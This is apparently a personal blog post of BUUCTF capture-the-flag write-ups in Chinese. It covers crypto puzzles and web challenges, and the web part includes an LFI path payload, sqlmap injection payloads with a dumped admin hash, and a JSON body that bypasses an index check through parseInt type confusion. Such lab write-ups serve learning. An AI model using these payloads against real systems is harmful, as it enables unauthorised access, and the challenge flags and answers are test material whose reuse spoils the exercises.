青

一言

BUUCTF 个人记录

BUUCTF 个人记录

前言

这里主要供个人记录思路和流程使用,如果你并没有完成相关的挑战,你不应该通过这篇文章以作弊方式获取题解。

Basic

0x01 Linux Labs

偌大一个系统如何找 Flag 呢?先看看文件目录再说。

1
2
3
# root@out:/# ls
# bd_build boot etc get-pip.py lib media opt root sbin sys usr
# bin dev flag.txt home lib64 mnt proc run srv tmp var

emmmmm,那个 flag.txt 就是了。

1
2
cat /flag.txt
# flag{c5297fa8-9cc9-444b-9b87-38ea7a7a2c9e}

0x02 BUU LFI COURSE 1

这个题目是一个 LFI 题目,明明很简单,但是 flag 真的很难找,flag.txt,flag.php 等等都试过了,最后发现就在 /flag 里,没有任何后缀名。

1
?file=/flag

0x03 BUU BRUTE 1

虽然我知道官方是想让大家学习如何去爆破,自己为难自己有点不好,密码 6490 取到 Flag

0x04 BUU SQL COURSE 1

SQL 注入题目,注入点在 news 的 id 参数,用 SQLite 或者手动拼一下注入都可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 9706=9706

Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: id=1 AND 5371=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=-4060 UNION ALL SELECT CONCAT(0x716b717a71,0x4d6a57437a614b6c456a6541496651486e434862487557455469644874714d6370474458426a6976,0x7170766271),NULL-- -
---

在数据库 news ,表 admin 中找到用户名密码,登录 web 后台即可获取 Flag。

1
2
3
4
5
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | f831b6190affe1f4f1338a3239127fb3 |
+----------+----------------------------------+

Crypto

0x01 Base64

如题

0x02 MD5

需要爆破或者直接查表。

0x03 URL编码

如题

0x04 看我回旋踢

凯撒密码,ROT13,需要多试几次。

0x05 摩丝

摩斯密码,查表或很多工具可以用。

0x06 password

社工,提示已经很明显了,姓名首字母+生日。

0x07 变种凯撒

用 ASCII 码表的凯撒。

0x08 [BJDCTF 2nd]老文盲了

欺负我不识字是吧,但我有现代化生产力工具。

0x09 Quoted-printable

用百分号替换等号,然后解码。

0x0a Rabbit

Rabbit 密码,工具直接解。

0x0b 篱笆墙的影子

栅栏密码,工具多试几次。

0x0c RSA

感谢GPT。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('Modular inverse does not exist')
else:
return x % m

def compute_d(p, q, e):
phi = (p - 1) * (q - 1)
d = modinv(e, phi)
return d

# Example usage:
p = 61
q = 53
e = 65537

d = compute_d(p, q, e)
print("Private key d is:", d)

0x0d Alice与Bob

分解质因数,MD5.

tele 题

给出抓包文件,大概分析,过滤无用信息,发现位于内网,但有 STUN 请求。

通过 #70 的 STUN 请求,对应的 #523 的 STUN 响应,分析响应,提取发起者的 IP 和端口,拼接 flag 解出。

cool_index 题

分析所给的源码,JWT_TOKEN每次动态生成,邀请码肯定不是入手点。

每次都需要 jwt.verify 验证 token,也不是入手点。

看获取文章的接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);

如果执行错误会提示错误,并尝试清空token(实际并不关键)。

首先要通过 req.body.index < 0 和 index >= 7 的判断,但这一步的 index 内容和类型没有被限制,也没有用 parseInt 转换。

所以可以通过 index 为字符串的情况,绕过前两个判断,只需要 parseInt 后结果为 7 即可。

构造请求体:

1
{"index":"7false"}

即可获取到 flag。

1
罼(bì)雧(jí)締(dì)眔(dà)擴(kuò)灝(hào)淛(zhè)匶(jiù)襫(shì)黼(fǔ)瀬(lài)鎶(gē)軄(zhí)鶛(jiē)驕(jiāo)鳓(lè)哵(bā)眔(dà)鞹(kuò)鰝(hào)

本文作者:
本文链接:https://tdh6.top/%E6%9D%82%E9%A1%B9/buuctf/
版权声明:本站文章采用 CC BY-NC-SA 3.0 CN 协议进行许可,翻译文章遵循原文协议。
图片来源:本站部分图像来源于网络,前往查看 相关说明。